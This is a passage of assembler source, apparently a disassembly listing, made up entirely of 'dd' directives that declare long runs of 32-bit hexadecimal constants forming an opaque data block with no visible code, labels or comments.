		dd 751D08C2h, 8E3C0EF2h, 0F7603774h, 0CD0F338Fh, 0F8381E67h
		dd 0F644D161h, 5275C440h, 400A0ECEh, 206273ACh,	9C4354F4h
		dd 18895CD0h, 17D895h, 5AE2817Ah, 93C0A507h, 24F0C406h
		dd 0BDDA8047h, 0F609C158h, 753801h, 0C9EBD150h,	0F80A03BDh
		dd 0C1563966h, 50047DD8h, 9460BC00h, 95D0865Fh,	0FFFA3883h
		dd 89AD750Fh, 80CDEB20h, 20001EF6h, 0A7D901A8h,	0F1210Eh
		dd 2F2F0A2h, 0AC10B8CFh, 648A473h, 24D90B0Ch, 9CC7831Ah
		dd 9761F766h, 2F310573h, 725E0h, 76FCA509h, 547B1356h
		dd 28298A00h, 475992Fh,	3906396Fh, 3207E000h, 1774401Bh
		dd 0AFD50A00h, 0F883CB80h, 1D0FF805h, 0C0495785h, 2AE904CAh
		dd 0FD001334h, 8AB01F0h, 0A306350Ah, 0ED11E8D8h, 33480064h
		dd 0DF1A0232h, 841738DBh, 0EA032435h, 0ABCC9BD4h, 1015C13Ch
		dd 9FD7E0h, 0FE463F8Ch,	0E80B779Dh, 7A58F3Ah, 0B0647579h
		dd 0D0131580h, 0AC430044h, 77C0A25Bh, 0E94894FCh, 0DC451EE8h
		dd 1B47300h, 0AE1C95h, 503DD919h, 2FA1C86Eh, 4F453Bh, 1247D6E1h
		dd 0ED30776Bh, 0F69E0F4h, 8CE29EBEh, 8B3E6D40h,	0E70024E3h
		dd 38544B2Bh, 7F42FD52h, 0CD780012h, 0EC147328h, 580364CBh
		dd 8A0E757h, 0B0BCAB56h, 1D338A4h, 0E2849887h, 20143F1Eh
		dd 0C1000CC5h, 48BF0F36h, 0C3E710h, 471E18Eh, 0BD3446FCh
		dd 4B7B5C09h, 0A9550055h, 241C5138h, 121091Fh, 0FF428334h
		dd 0E7E8F476h, 8BED8607h, 77204C47h, 14D4022h, 1708109h
		dd 0ECF1B13Ch, 1600EE0Dh, 0DE758BC5h, 1226929h,	0CC86494h
		dd 0E4370B98h, 7F004215h, 77EBD8F9h, 0F2C7B927h, 7C1900F8h
		dd 0E8F040D2h, 3500598Dh, 40E8B02h, 737443h, 94E0C9FAh
		dd 821CF42Ah, 0A9E8EC00h, 4E32BC13h, 0EE3B0027h, 12FF47E9h
		dd 7E0744A5h, 49262F21h, 9B9E1A90h, 0DE293BD5h,	0D8179080h
		dd 251D3BBEh, 98666A0Eh, 7480FE06h, 5BAE8316h, 0CAA0E04h
		dd 0F040A012h, 0B33FF889h, 0BA4EC700h, 0B054F9DDh, 64290088h
		dd 7FBC05F6h, 0C42E5EA7h, 8300F430h, 8CEC2C0h, 40C10039h
		dd 90CA8966h, 7A00FA0Ah, 0B40244D3h, 1872FFh, 0EB760146h
		dd 5C26F47Dh, 6A8C5900h, 98AAAA0h, 77D0003Ah, 4BCBD419h
		dd 0E43A650Bh, 0EBC280B1h, 0E07EF22h, 0EAE800D6h, 1260FF28h
		dd 0F13E8B56h, 0AE980A0h, 400C9F86h, 89163DB8h,	2C020F0Fh
		dd 2F2550A0h, 0D60EC35Eh, 0F16564h, 3C038AC4h, 0FF8B5A1h
		dd 0BA06C604h, 80AF5E52h, 910B1994h, 2100FA70h,	32EBC094h
		dd 0AF3C48h, 6182C33h, 56A27A8h, 438D0A00h, 88F58A01h
		dd 0CD165C97h, 0DDD0601h, 0FD235491h, 4DA8FF3Eh, 100513Ch
		dd 7B2E2530h, 0F27C9Dh,	8C667940h, 0E1A8D83Dh, 0BAE91000h
		dd 0C32E931Ah, 5D6D00F2h, 8EE24E60h, 762DB924h,	0F87E40h
		dd 3B02165Bh, 0C800BE32h, 6ACB83D6h, 538C49h, 0B27D9010h
		dd 70393D63h, 96257302h, 0C0BE42D2h, 1DD67C96h,	8012BA6Ch
		dd 0E8B85D43h, 6A7A1652h, 2BF96426h, 0C0779200h, 0FE8B21h
		dd 17A5B889h, 0C1ED3308h, 12EF4A00h, 0E681F010h, 0FE70C091h
		dd 0DF0C0D97h, 8D2270E7h, 7C89CE04h, 0A480884Ah, 0E12509h
		dd 27991113h, 177F1F0Dh, 0FFF8741Fh, 0D7C1CE80h, 0BDB7D9h
		dd 16C32B62h, 0BE2C24A5h, 4A215F00h, 270D174Fh,	2D330074h
		dd 0E80A9CF3h, 8A7A116Fh, 89527E61h, 0E4ECADC5h, 45920001h
		dd 0A68D70EBh, 193B1A1Dh, 910500D6h, 2888DB85h,	4D750078h
		dd 40103EA7h, 5C0322A1h, 13DF3212h, 576ED08Fh, 0ECA010Ah
		dd 0AED43EE9h, 5C7E083h, 2F00AAF0h, 1152AB28h, 0B806891Dh
		dd 26AF1C90h, 14FD0024h, 0FE030777h, 8A21A90Fh,	67F381ADh
		dd 0D9D8D4A4h, 7F270E01h, 0D580C065h, 859E966Fh, 4B3C2F09h
		dd 846B009Fh, 421ACCh, 0D8EED257h, 3990E57Ah, 81607B00h
		dd 4FBA3B8Dh, 0B95F182Bh, 1A3DEC2Dh, 35FDF801h,	0E1170136h
		dd 0B8C4F0D1h, 939C0F61h, 47C0BBE8h, 0FE5AD511h, 0BA09C50Fh
		dd 0A4294032h, 344EC37h, 0FA160E57h, 0EAF8B323h, 0F039BD6h
		dd 0E0043277h, 0F52BC8DCh, 0A05B00EBh, 0C022F3AEh, 0B4006836h
		dd 0E42E8DD9h, 834391h,	0BD7A825Ch, 55782674h, 33CAE007h
		dd 80AB49AFh, 5330AE07h, 6F1700DCh, 0D8E25160h,	3707DF24h
		dd 4DD4D1A8h, 47D1BDD7h, 2FC8D088h, 514F070Fh, 0E79BCCA2h
		dd 128FE07Ah, 107676C8h, 291AF50Fh, 0A3B7AFC4h,	0F8C0F1A8h
		dd 1FD41B8Fh, 5FA6BC68h, 0C4A340DEh, 6FBF48B8h,	6AA7511Fh
		dd 0EA006D1Fh, 0F3B0443Ch, 0AC4DC886h, 4711426Eh, 34898110h
		dd 5C50A453h, 7502FA0h,	9C45A3DEh, 1E8EDC36h, 4398221Eh
		dd 148D7AC3h, 0E8DBE394h, 2A569D4h, 0DFB4572Ch,	0DE808C50h
		dd 1BBA941Ch, 0BB5E3807h, 4140D86Ah, 686C60h, 90D37061h
		dd 771626Bh, 69652509h,	0D5A90075h, 1FCBB053h, 41F845DDh
		dd 6F213E64h, 34C3D42Ch, 1222E300h, 82AF1C78h, 2E6C0017h
		dd 8868CDDCh, 947CD549h, 3B780B04h, 3C801FA4h, 0FDAD9Bh
		dd 445923A9h, 8DF43C6Ch, 6B172C00h, 18AF5C02h, 0C4F20093h
		dd 6D4A1B0Ah, 0AA00F66Ch, 46703B08h, 5F9F4Fh, 766B5696h
		dd 1D6DDDD4h, 15EE3Bh, 3E0C61E5h, 0CA3F20h, 0DA5729D8h
		dd 522DBE08h, 4E1D5000h, 7B0FDDD0h, 2AECA2h, 0E9ACA7A3h
		dd 2C51D1BDh, 3B33E12Eh, 81C8B200h, 0C7E806h, 4724C24Fh
		dd 43E4A346h, 3D83281Fh, 70F4B281h, 8470BB8Eh, 0CA570079h
		dd 80011AA1h, 75766838h, 0EC0A5407h, 0E9C061F1h, 38552A8Eh
		dd 218EC537h, 76C7E83Fh, 2336B0E2h, 0BB007FFCh,	682F03E3h
		dd 1775BF50h, 14C611Ch,	5115B3A8h, 9A1E413h, 85433Eh, 4A9F23B4h
		dd 7A0F2Bh, 16632707h, 67B5FD9Bh, 0CA792F00h, 0B384BE2Eh
		dd 0F402001Bh, 2AB4B8D3h, 0DA00B152h, 0E279FEFBh, 12DC5C2h
		dd 0FD7CAD17h, 7080DE6Bh, 42712E46h, 89DCCD00h,	0D048083Eh
		dd 0FA217556h, 5A80F750h, 0D425FF17h, 9900F0B8h, 0CC1CD010h
		dd 0EC8478Eh, 0C7BDC423h, 0B891BC83h, 0B0E4B4C8h, 39AC7200h
		dd 0A3EF05A8h, 9B923E3Ch, 2F2C1084h, 0B0C3FAA5h, 3FF3F8A1h
		dd 7BDF1EF1h, 0D0A0C0BCh, 7609D284h, 1B05F01h, 0A1B8A7F8h
		dd 0FC5DC0h, 0FF0B7C80h, 0FEE8752Eh, 9C44DE00h,	7404C17Dh
		dd 3FEB004Ch, 0DCD7194Dh, 0D0F88003h, 0E5E99800h, 13395391h
		dd 0B60F001Bh, 750A1229h, 710C01F7h, 8A355C8Ah,	63D09589h
		dd 0E9098300h, 0C8FBA02Dh, 0F7F0041h, 2C4C8830h, 0CA00FE40h
		dd 0DAA37537h, 0E22F98Dh, 2F52DE23h, 406B6E20h,	14004ED7h
		dd 0C553512Bh, 2D97E4h,	1E6F1641h, 759E313Bh, 0B26E1900h
		dd 294FCD02h, 27820768h, 0B0B5F607h, 6BB9183Ah,	0E9E39h
		dd 0CDFF5B52h, 533C08h,	4619ED3Fh, 0E526730Ch, 0A61CACFAh
		dd 1480B01Ch, 507BC703h, 0E306074Dh, 517E5254h,	0F8D82B0Dh
		dd 497CD9F8h, 623A3Fh, 2C71C58Bh, 16517832h, 14BD1FE4h
		dd 0C3ACCF4h, 9540680h,	4667F68h, 3D58600h, 1667436Eh
		dd 0E0FA7Dh, 4E84BFAAh,	0F06AF32h, 0B6DF7C1Eh, 0DD9E7880h
		dd 7141DB0h, 3F452528h,	1B12613Eh, 0AB928013h, 0E2100AD3h
		dd 3C5C077Bh, 50359615h, 645A28E7h, 0C4811203h,	0EA4814FCh
		dd 0FBE38Fh, 751A5624h,	127F8E16h, 6855CF00h, 0AB53500Dh
		dd 2C193E47h, 2714EA00h, 4696016h, 0FBD53702h, 6203993Ch
		dd 0BB91811Ch, 0A6E051FFh, 0D42E00AFh, 50C9490h, 81051001h
		dd 0D7B10478h, 1575B9C0h, 48CC00A4h, 0E01C2440h, 18E8A827h
		dd 79EB203Fh, 54B2040Ch, 3E8B28D7h, 6800E23h, 47308024h
		dd 0CEE00BB7h, 1E009EF0h, 31692154h, 0E048DD4Bh, 0E87402h
		dd 83CAA817h, 42740BC5h, 2FC2DE01h, 0A10B041h, 710C66D4h
		dd 3DC60039h, 8A64E086h, 370121EEh, 0EC12251Fh,	10C46AF0h
		dd 0BFDA0355h, 4B824FC3h, 71C698A1h, 8BFFD8EAh,	3124F800h
		dd 3C9B74D2h, 15EF028h,	0A89C16D9h, 60C152A4h, 800008D2h
		dd 0B9628DE1h, 0E1841D8h, 20144A89h, 0C3AB94A0h, 0DF1E82D4h
		dd 0BC809343h, 0EC1B8362h, 87E1001Ch, 29E8C28Bh, 0BE03142Ch
		dd 45649616h, 8D0C98C9h, 63200058h, 0C3099F70h,	100ED06h
		dd 0FE82967h, 460AFA4h,	83BF5C52h, 0A41CBF25h, 3D80C280h
		dd 0DD108Bh, 1E6EA90Ch,	59EBBB9h, 135F5B00h, 0B5C2FF3h
		dd 48F1004Ch, 58110E32h, 4E0062BFh, 0E70A21F7h,	6A74F59h
		dd 106F5740h, 99002008h, 15D35073h, 31C88AEh, 64BE37D8h
		dd 0A0D87527h, 4500178Eh, 5F0E942Dh, 0FA03B2BBh, 61E400FEh
		dd 8F087C04h, 78008018h, 0D7742DE0h, 0ABFCB8h, 5113EADAh
		dd 58542504h, 0C627D8EBh, 98F2CA00h, 0F034525Ah, 0EF8800C1h
		dd 0A2ABC52Ch, 0DFFB3544h, 458AF9A8h, 294B8901h, 0A1646658h
		dd 0D63DD8h, 5F27A014h,	6BE99622h, 6D8DC00h, 0E705EB3Fh
		dd 0A68A0058h, 6AD444E3h, 0C0005C76h, 0EB8FE810h, 0A3341Ah
		dd 593D87B5h, 68E25451h, 529F9600h, 0A27350A9h,	91140034h
		dd 48BA8D24h, 2B002C20h, 196966CFh, 7B2E2A44h, 0C17300D7h
		dd 22B9427Eh, 0BA002413h, 0C8E16978h, 167A4C21h, 732053Ch
		dd 6064B86Bh, 4234736h,	1A740E00h, 59BBBADCh, 157F0FFDh
		dd 8B820CEBh, 8C6077FEh, 34483A2Bh, 647E1F45h, 60A5D4C0h
		dd 76F6E20h, 2471B574h,	440C72ADh, 45030C60h, 204F4C04h
		dd 0EF807355h, 69572Eh,	0EAAD6874h, 0B44958F7h,	420061B0h
		dd 0F059AF9Dh, 0E88CFD7Bh, 1D357B10h, 80D2E7BFh, 1B06D3FCh
		dd 2F0024B8h, 804990BCh, 0F7E0139h, 0C8358B33h,	0CCEB3C20h
		dd 21F2FB5Fh, 4F304100h, 5AFED796h, 3B130E29h, 44A90785h
		dd 1710F100h, 0DBEEB935h, 0D88EAF03h, 0A1673C2Dh, 1ED83E1Ch
		dd 0ABF87Ch, 0F5B59A90h, 87338454h, 0EE022401h,	0B0828AB9h
		dd 493BA680h, 0AD67B1Ah, 85C39100h, 680DA159h, 7EB90E2Bh
		dd 4D0038DEh, 204C4941h, 78524600h, 0AD3A764Fh,	22C20388h
		dd 38083736h, 2921F6A0h, 44795CF0h, 430E5203h, 0C0205450h
		dd 13AB3A4Fh, 0E8FC28h,	0BEDD590Dh, 0D801930Fh,	0E95EEE49h
		dd 0E6D4F445h, 0FB9600F0h, 15168C2Fh, 0D7008E37h, 92CC2C3Eh
		dd 1F75D2A7h, 21FD65h, 0EDBAFC4Dh, 0AB004B37h, 6C3BF02Ch
		dd 782EC30h, 284CC385h,	0FE8E7018h, 74000852h, 735CBAF6h
		dd 0F2BFB9h, 6AB8CF34h,	0BD222570h, 0AA82B00h, 0B40FF436h
		dd 68780F8Bh, 422FD41Ch, 22DC380h, 0B5077CF3h, 444128F1h
		dd 65CA5420h, 61100D8h,	12C84626h, 871F556Dh, 0FFC0CF20h
		dd 98842BFh, 75530089h,	0D49D7AF5h, 0C800142Ah,	0C272AF2Ch
		dd 0F485B7h, 0F95BFE2Dh, 78163F32h, 832F3C00h, 6E69616Ch
		dd 63E1073Bh, 9072DD68h, 493DFC24h, 4F530E00h, 3527382Dh
		dd 31550339h, 9C214C62h, 0FD8BFD3h, 25B8AE66h, 0CEA4500h
		dd 677064A1h, 388A05C5h, 0BB568162h, 848864C0h,	7537CF4h
		dd 0F3EBB57Dh, 38509057h, 5B00858Eh, 6D98EAB9h,	96263Fh
		dd 79D64B10h, 0B4610817h, 0C4285B2Ch, 7D385700h, 0FD7A26h
		dd 4CE3B25Ch, 48D2BD3Bh, 8CB83403h, 9869CE59h, 0F51F6F4h
		dd 79AF3EE5h, 0C19740FCh, 58BBA85h, 64BF6000h, 0C2FC21C0h
		dd 38C83F50h, 11184233h, 0DAA62FB0h, 0B8BD5A00h, 40D2F6BCh
		dd 0C82E00FBh, 0C0060194h, 1003CA08h, 50A6132h,	5D64D82Ch
		dd 0B32F005Ah, 1404ACC8h, 5073A108h, 0E7C6C00h,	297312E8h
		dd 3419002h, 54B0645Ch,	38B0DABEh, 6B002B4Fh, 489AE424h
		dd 3EF6913Ch, 6FBFECD4h, 79327080h, 782454EDh, 88B8EB00h
		dd 0DAC83457h, 0F7C400BAh, 75A0A18Eh, 6DE462C1h, 74A25300h
		dd 65527122h, 728D3870h, 29403C84h, 504B80CCh, 0D9072BB8h
		dd 0BEF0AC41h, 754809F0h, 0F05671F6h, 0E89D02F3h, 41FFF8ADh
		dd 84737960h, 283AEB00h, 43D1383h, 56D21CC3h, 442C806Fh
		dd 0BA5AA069h, 4A3BE000h, 7E22AA42h, 55FA68h, 0FD858D19h
		dd 0E8F05081h, 2A0014F8h, 4A2CA102h, 7EA2687h, 0EC572817h
		dd 0B91DB095h, 0FB0B50A5h, 0F16297Ah, 20F1AE23h, 49E30E55h
		dd 0BE800064h, 658ADF2Ch, 0F2008817h, 2D37293Ah, 397859D9h
		dd 7A8BE5h, 4FFC2BFFh, 0C9C28CA2h, 1A8D8900h, 0D1024BF7h
		dd 2F6801BDh, 527FAACBh, 80D441DAh, 1F8EE43Ch, 6798BA00h
		dd 0C82F7D33h, 0E55E0088h, 0CF88340h, 5034A7Eh,	8D6A43FAh
		dd 869EF955h, 0C40D5EAh, 9607C381h, 0A868C8C0h,	8A060CB0h
		dd 0BB6D0185h, 4455ECB7h, 2C8D2018h, 3664EB13h,	0F929FD00h
		dd 1D9028h, 241AB2C4h, 890C2CD4h, 500AE000h, 458E9E82h
		dd 19D23B30h, 814B0B00h, 0D3CF0B1h, 0AEC7B00h, 69BD80E0h
		dd 3AD100BFh, 0A83F1819h, 0FC005617h, 2721A70Bh, 0AF3C59h
		dd 0E2EBBF1h, 84F3398h,	424E3D00h, 0FB5E74B6h, 0A89D0053h
		dd 5FE883B0h, 0C5002861h, 68120BB5h, 0F63D14h, 952CD20Fh
		dd 0A73C4E87h, 0A848DF3Bh, 0C804B8EDh, 7D0B05F3h, 8955D6C0h
		dd 20790EDAh, 1CA02CC7h, 0F93A7552h, 0D70FBA78h, 0FDDF832h
		dd 0E7096008h, 1F27A445h, 0C7A798F3h, 1028B8EFh, 58574D71h
		dd 201C0C04h
		dd 75C3A540h, 4834D8F8h, 0AA0F0F7Ah, 0F50070CFh, 96F16427h
		dd 3EF44B07h, 85301750h, 7443E802h, 0D5980107h,	15BEFBBh
		dd 0F69F4033h, 0B81D134Ch, 24B93E2Ch, 14005E1Ah, 17706C55h
		dd 0EBEF0AE8h, 1F835D4Ah, 1654C00Ah, 8F846090h,	0B827ED00h
		dd 0AB49B14Eh, 0BA9F0162h, 5A457606h, 8D93F47Bh, 4259BC26h
		dd 20AD9400h, 19E10D4h,	0A55A2FD2h, 0D00E9BE7h,	88051B84h
		dd 3E426CF5h, 2B921681h, 75CBD64h, 0E04ED4F8h, 880E002Ch
		dd 0C0B76E4Fh, 7166D9h,	60A06D72h, 64256756h, 0F8966C00h
		dd 0C9534F21h, 93F234h,	79DD49B8h, 16B4E468h, 0BE481375h
		dd 57C5008Eh, 0E1AEA93Fh, 1BB7683h, 6C8469CCh, 47280D9Eh
		dd 877E6FD5h, 9050FC58h, 0B81D838Bh, 0C6AA8060h, 1A12ECh
		dd 0BC4086B0h, 0CAC89C0h, 5E81C42Ch, 0CC19A800h, 24D002h
		dd 4D432A4h, 64A048D8h,	0E008DC00h, 0E4C89C90h,	0CE80701h
		dd 41B485BAh, 0F8F081ECh, 0D60AC435h, 8C829CEDh, 7C750600h
		dd 0F4764BD9h, 2DAB00CAh, 5E2147B6h, 0F703723Fh, 51983445h
		dd 4869A875h, 12290170h, 71E7825h, 97F605Dh, 0A2639000h
		dd 62421464h, 67737B84h, 83561072h, 9C8293Fh, 0DB004FB8h
		dd 0F1E25B08h, 40C984h,	0E044342Dh, 123D27FDh, 1FF68500h
		dd 6A02A251h, 0E8560032h, 0CAD64FB7h, 0F900AA64h, 33888A0Dh
		dd 0E0270EBh, 4DF0B83Fh, 1980D36Eh, 41042E68h, 109D1B0Fh
		dd 3C9A6062h, 78DADB48h, 0E9F5001Fh, 0FF0042Fh,	0DCE8BFB6h
		dd 6ECE9702h, 0E0F468C2h, 2FBC2Ah, 14D1D8BDh, 13CD7533h
		dd 1F761740h, 7BB71BB3h, 0A8A27A97h, 759D00D0h,	0D0516D24h
		dd 0FAA10045h, 16D7198Eh, 0B40B9B49h, 312D04h, 94229E3h
		dd 3C400744h, 501C716Dh, 3F53606Bh, 6AB03E01h, 0D252185Ch
		dd 0F59DD8h, 8BA404BCh,	10022E69h, 2CB97800h, 0B584B4B7h
		dd 0FE870030h, 5D258543h, 9000F89Ch, 0E5769598h, 107E69h
		dd 83270A2Ah, 94D48938h, 0EB252F00h, 0F69B5D20h, 565000C1h
		dd 4BF3ED2Ah, 160036F9h, 0CF210B74h, 2E2F0847h,	0F69F89h
		dd 1424B8FFh, 52399844h, 28029D5Fh, 8619B5C0h, 3911B234h
		dd 408EEC46h, 42A0210Eh, 7CA960A1h, 2B34401h, 31F0E895h
		dd 7FDB9D4h, 4CB7537Bh,	0F032D77Eh, 0E4419169h,	200C0801h
		dd 6B1143C3h, 1051F48Fh, 40E02CC7h, 0BB84C4A1h,	8017C6CFh
		dd 0AF63BA1Ah, 0EB5E0277h, 0B78790Ah, 89E008C3h, 93781542h
		dd 641C2C0Ah, 8500AD65h, 0F5A5DC37h, 6BFD005Fh,	0D30B9528h
		dd 2000354Ch, 4422B1A8h, 743C7405h, 0C8010068h,	37C5F7E7h
		dd 121CA150h, 0D3C3AC14h, 0C82176A0h, 115D89Eh,	298C1C24h
		dd 2011A98Bh, 76001B49h, 0E0190274h, 1737FDF6h,	0FEB15D4h
		dd 7360A0F8h, 9DA4F989h, 9BC61D00h, 29860DA8h, 21D80043h
		dd 0C8B091ACh, 0B40064DCh, 0E039B832h, 86BC0Ch,	874C09FDh
		dd 0A9C4F889h, 80C8123Eh, 0E68E6CE8h, 86CC24h, 0BF20D045h
		dd 8B6DA095h, 0B92E0303h, 0D0583605h, 0DFACD4h,	74BF8EB2h
		dd 0C58DF1BCh, 399FA000h, 0BEAD2D5Ah, 1CF20250h, 479C32CAh
		dd 4037A987h, 101F6AF3h, 0D500E7F4h, 0B15EBDC6h, 5C134405h
		dd 690F5985h, 122023D7h, 0E78F08BAh, 9D08B00h, 40DC5335h
		dd 70640057h, 6C6A3971h, 0EB01C54Ah, 0E29D249Fh, 63E84803h
		dd 41660065h, 50CA779Ah, 0AC001C75h, 72FBD89Dh,	795B3B3Dh
		dd 885D0025h, 0D0EFFF73h, 8F9032A5h, 794C5403h,	0F15F902Dh
		dd 27E86A5Bh, 84110FF8h, 58C06DF4h, 0F6066F16h,	45106160h
		dd 0EB5F0Ah, 0C0023F14h, 0E7E853FFh, 0E5A65000h, 4090BA35h
		dd 0F3F200FBh, 0BF36C996h, 56C0C338h, 2A028861h, 131A0022h
		dd 0B8352B70h, 521E53A0h, 640F140Ah, 3133407Bh,	980B263Bh
		dd 0E4B807AFh, 0D43661F9h, 1741831Bh, 9F40B9F2h, 6D071AADh
		dd 80888B45h, 2F604A47h, 3AD48F74h, 800E05Eh, 3A9D0522h
		dd 5B01D71Dh, 0E6C248Ch, 0A8F77041h, 0F776369h,	646F45E6h
		dd 123A2E80h, 0F400CFFAh, 0CB88785Eh, 79F4642h,	0CA91DB92h
		dd 481D70E4h, 4F0097EBh, 8C08C823h, 3F61B74Ah, 0E80A7F5h
		dd 0FCB8F40Ah, 0ED3E532Bh, 0CA258082h, 4EDBFF9Dh, 36AB008Bh
		dd 0F05CD7FAh, 47002B80h, 46F8BE23h, 721B7h, 8666EB8Ah
		dd 0EC485098h, 2C43B800h, 4F22779Fh, 0EEB10063h, 5A252916h
		dd 8500BF13h, 0E457C3C0h, 1F66B39h, 0C7D12D43h,	204A4E27h
		dd 591E41B7h, 775E40AEh, 2E910200h, 0B8F344h, 46D2E1B6h
		dd 0BA38E408h, 0F5430701h, 30B048F8h, 2CC43AE5h, 2AA40035h
		dd 283D06B7h, 0E10E1034h, 488A3Bh, 70677274h, 77620043h
		dd 661D64EEh, 59B8286Dh, 0E4186501h, 5797B863h,	2E1188D8h
		dd 1E4080h, 48606A6Eh, 75078F65h, 42266801h, 7B677A50h
		dd 0F52900AFh, 0D225F034h, 6014F47h, 90A15689h,	4F70E819h
		dd 0CBEC0F35h, 0E9C0DD25h, 1CB649E0h, 39F49209h, 0C8C70528h
		dd 23EB9000h, 0F69BE86Ah, 90253D48h, 87187887h,	166970A9h
		dd 0D9032107h, 35F52F47h, 87BC5h, 10E59D75h, 2464530Ch
		dd 57907100h, 76017377h, 62750026h, 0C2297C69h,	944C786Fh
		dd 80A5076Fh, 4CEF6BD8h, 282075h, 14907B71h, 56182A50h
		dd 589FB100h, 26972484h, 22830F2Fh, 0FCFF4AEh, 77E896Bh
		dd 7DF5A200h, 5C7E6698h, 0BA00488Bh, 59AEB656h,	0BD3A924Ah
		dd 1C23848h, 1953438h, 0B8CC566Fh, 23C8004Ch, 18F053D6h
		dd 0CE00E8D4h, 76AE5BAh, 65271Bh, 265121C7h, 4F629053h
		dd 0A7206600h, 0D47FF60Dh, 0D911032Bh, 8615D7E9h, 0F1970BD8h
		dd 331A7800h, 9FAA8A79h, 3AFF00A7h, 2CD25EC0h, 0A3001419h
		dd 5BB04B4Fh, 3BEA0C83h, 0A007402h, 7AA6900Eh, 4900DC81h
		dd 4A47843Eh, 7BFB5375h, 820A0F8Ch, 4FA0CC7Dh, 947EB942h
		dd 2FB21307h, 0C227F624h, 0C48C2B60h, 891F0020h, 0BF1608F7h
		dd 0CE032E58h, 8BE60F21h, 0E969A334h, 5DD8F762h, 0BF53004Ch
		dd 0F1D4B812h, 0DA00FFB4h, 6E5E5503h, 158905h, 22872508h
		dd 13961206h, 683BC47Dh, 0EF807ECh, 3E30A151h, 3C9731E2h
		dd 9500C6FAh, 0A371C8A2h, 0CC00BA0Bh, 2AB501EEh, 1901338h
		dd 48D795B9h, 0D0E9D533h, 0D81D34C9h, 0AC00BF2Dh, 10F602BAh
		dd 82321EFFh, 0DC39CE8Fh, 7B5D5221h, 202EE084h,	86C94500h
		dd 0E1830550h, 1CCCF26Bh, 0C04710A1h, 4245A31Ch, 0C7010C4Ch
		dd 7C2F74DAh, 58E77602h, 0B002A2Ch, 7547C170h, 0EC1DB814h
		dd 76408A6Eh, 27D981Eh,	3FF7B87h, 725838FDh, 0C0AF8F4Ah
		dd 9835B284h, 90AA2400h, 0D8ADB043h, 6968006Dh,	13F751ACh
		dd 0DB05F2C6h, 6F0C8DDEh, 955BA680h, 5814009Ch,	0B84FBD31h
		dd 0D900F2B4h, 0DC45849Eh, 0E06E5Ch, 0D8E4AF8Dh, 8E37BFFh
		dd 4B118506h, 0F01C3828h, 7754EE18h, 0F85F0043h, 0FF68B2Dh
		dd 980F17BBh, 40487536h, 81660387h, 5A4D0038h, 788324C8h
		dd 36003C4Ch, 70BB1E3Fh, 38F30312h, 568092EFh, 810823B0h
		dd 50013E13h, 2524D45h,	2B303B72h, 0E7B02Ah, 6CF8AA28h
		dd 27E3EC4Bh, 2C00C07Eh, 2FE812C2h, 643B1Fh, 5E657C3Fh
		dd 89E39290h, 0CA505F00h, 0AA484F4h, 0DF0C007Ah, 4939B348h
		dd 0E0003CC3h, 7FEBF803h, 2D903Bh, 0BA26670Ah, 2CBDA5FCh
		dd 100BC500h, 23758765h, 0C64700B4h, 0EB3C8E4Dh, 1057716h
		dd 0D73DA3Bh, 0DD33B402h, 0DF7062D1h, 9712D640h, 0B6F5D802h
		dd 41E59E66h, 8201404h
		dd 0BE5B00CEh, 0DB7DEBFAh, 0C97835BDh, 10403E00h, 0E4E24C31h
		dd 8201D4Dh, 4854CF38h,	0EF80580Bh, 0B03C4280h,	0B3001672h
		dd 7462E6B6h, 7EDEA32h,	2EBEEE7Dh, 7240DEEFh, 9D29F0D7h
		dd 3313F92Ch, 0D8920139h, 478A40F8h, 0EB83FCh, 52C0BB05h
		dd 0B788778Eh, 7DFCAF03h, 9845BD7Ch, 0C6422Fh, 52151DC9h
		dd 12043A74h, 6000EE7Eh, 77610855h, 2BB487h, 0AF922CE8h
		dd 70E7BCAh, 35FFBB01h,	3A326B6Ah, 0EF8860h, 4D910458h
		dd 5A4F2942h, 0CE002A71h, 0D922C29Dh, 1D92A56Ch, 406AFDF2h
		dd 16530F93h, 59120571h, 98FCABE8h, 0CDDC5200h,	0E63BCE98h
		dd 7F5C626h, 3E99AE14h,	29C407D4h, 0BF407E4Eh, 78842FBBh
		dd 5C92E830h, 5200BAAAh, 4F67109Dh, 6200DBB2h, 250265F8h
		dd 0FCED92FFh, 0FDC90BA0h, 4B85279Ah, 2D9300AFh, 0B41E1674h
		dd 0EAB8A5Ch, 80A73D66h, 72B73575h, 63F058A4h, 7024EE1Dh
		dd 0A7884D08h, 2A958A00h, 0C75EDC53h, 0A84007Fh, 7E27CBF2h
		dd 8A00BD57h, 2A4A43A0h, 532F44h, 52FB3028h, 0E7840CAAh
		dd 3DB8C8B8h, 0D29AB500h, 8CBE3E68h, 101B00EFh,	0E8814F6Eh
		dd 22C4615h, 7326D90Ah,	2BCCDD00h, 0E13354h, 312DB54Fh
		dd 7776A5AAh, 6F83900h,	2070542h, 460D0F8Bh, 0CA856640h
		dd 0CE8E000Fh, 0B6939E83h, 59CB7F04h, 63A857DCh, 6FA0007Ah
		dd 0E09CA0Ah, 0DD005355h, 47135428h, 1E5EF2B7h,	4FA920C5h
		dd 0E9E0437Eh, 87BC0826h, 0B907B7EEh, 0E7B11C77h, 30C00E64h
		dd 4A7CE6h, 0C52DB351h,	0D3CF414Bh, 21033D7Dh, 0ABF0E4C3h
		dd 0DFC49B25h, 83171AD0h, 0CC2F0051h, 0A9BBC621h, 7A12ACC0h
		dd 8503A6BAh, 0A7521BE8h, 0A740EDA7h, 8F74DBh, 44F0B940h
		dd 2C659F43h, 0D63B0300h, 19E20475h, 0D490377h,	0FA99E3C1h
		dd 0A7E7F5A8h, 94555E00h, 52251064h, 0E8B00E42h, 2A385D6h
		dd 141E2CC2h, 0F5DD343Eh, 3FF4A200h, 55D2753h, 3BD420D7h
		dd 0C70D8005h, 1C0075CEh, 8A04A4FEh, 2555BCh, 2F3DB41h
		dd 52806815h, 31CE7300h, 0FDFF53EAh, 0E73D03ECh, 0E54F2149h
		dd 0E2D438B0h, 530036E6h, 0F0C988ADh, 77947C67h, 3E45F2B4h
		dd 511C051Fh, 89EE0052h, 0C931FCC6h, 7A497600h,	0F0C0ECCAh
		dd 0EC3BE1DBh, 5DE9025Ah, 31038B18h, 20F2090Fh,	0B8F381E0h
		dd 0C1000146h, 0B780DAC8h, 0D301E660h, 0D2F7395Bh, 6BD10Fh
		dd 5C8EC02Ah, 5E3CC8C7h, 0A43980EDh, 0D8C48309h, 50EA007Fh
		dd 84CF1BE3h, 0B83EAFCBh, 31600B5h, 0EC667C3h, 0C7D40454h
		dd 0C0C075BCh, 1335CACh, 0B3534E0Eh, 2BB8205Ah,	268C732h
		dd 0D465D728h, 0E07F5214h, 2849B17Fh, 4B8AD23h,	96F88002h
